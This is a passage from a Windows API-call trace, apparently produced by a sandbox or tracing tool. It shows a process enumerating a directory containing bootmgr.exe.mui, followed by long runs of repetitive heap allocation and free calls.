ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.240] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.240] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.240] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.240] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.241] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 